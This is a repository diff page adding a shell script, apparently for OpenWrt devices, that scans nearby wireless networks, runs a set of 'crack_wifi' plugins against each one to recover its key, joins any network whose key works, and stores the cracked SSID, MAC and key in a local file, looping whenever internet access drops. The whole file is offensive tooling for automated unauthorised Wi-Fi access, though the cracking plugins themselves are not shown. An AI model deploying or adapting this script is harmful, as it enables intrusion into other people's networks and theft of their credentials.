summaryrefslogtreecommitdiffstats
path: root/recon/autowifi/usr/bin/autowifi_old
diff options
context:
space:
mode:
Diffstat (limited to 'recon/autowifi/usr/bin/autowifi_old')
-rwxr-xr-xrecon/autowifi/usr/bin/autowifi_old65
1 files changed, 65 insertions, 0 deletions
diff --git a/recon/autowifi/usr/bin/autowifi_old b/recon/autowifi/usr/bin/autowifi_old
new file mode 100755
index 00000000..55eaefcd
--- /dev/null
+++ b/recon/autowifi/usr/bin/autowifi_old
@@ -0,0 +1,65 @@
+#!/bin/sh -x
+# States (LED):
+# Blinking - running wifi plugins
+# Turned off - connected to wifi
+# Turned on - waiting for next scan round
+
+wifi=wlan0
+iface=@wifi-iface[0]
+radio=$(uci get wireless.${iface}.device)
+
+# for connect_wifi
+. /usr/lib/autowifi/lib/openwrt
+
+# for iwlist_scan
+. /usr/lib/autowifi/lib/iwlist
+
+# for check_internet and check_gateway
+. /usr/lib/autowifi/lib/network
+
+crack_wifi(){
+ #SSID MAC CHANNEL ENCRYPTION WPA WPA2
+ all_led timer
+ if [ "$4" == off ];then
+ encr=open
+ elif [ "$6" -eq 1 ]; then
+ encr=psk2
+ elif [ "$5" -eq 1 ]; then
+ encr=psk
+ elif [ "$4" == on ]; then
+ encr=wep
+ fi
+ for hack in $(find /usr/lib/autowifi/plugins -type f); do
+ key=$($hack "$@");
+ ret=$?
+ if [ $ret -eq 0 ];then
+ connect_wifi "$3" "$1" $encr "$key"
+ sleep 20
+ if check_gateway; then
+ (cat /etc/autowifi/wifi_keys | grep -v "$1|$2|" ; echo "$1|$2|$key" ) | sort | uniq > /etc/autowifi/wifi_keys2
+ mv /etc/autowifi/wifi_keys2 /etc/autowifi/wifi_keys
+ echo "yay gateway"
+ check_internet && all_led none && return 0
+ fi
+ fi
+ done
+ return 1
+}
+loop_over_networks(){
+ . /tmp/${wifi}.scan
+ for i in `seq 1 $WIFI_COUNT`; do
+ eval grep -q \${MAC_${i}} /etc/autowifi/blacklist && continue
+ eval crack_wifi \"\${ESSID_${i}}\" \"\${MAC_${i}}\" \${CHANNEL_${i}} \${ENCRYPTION_${i}} \${WPA_${i}} \${WPA2_${i}} && break
+ done
+}
+
+iwlist_scan > /tmp/${wifi}.scan
+loop_over_networks
+
+while sleep 60; do
+ if ! check_internet; then
+ all_led on
+ iwlist_scan > /tmp/${wifi}.scan
+ loop_over_networks
+ fi
+done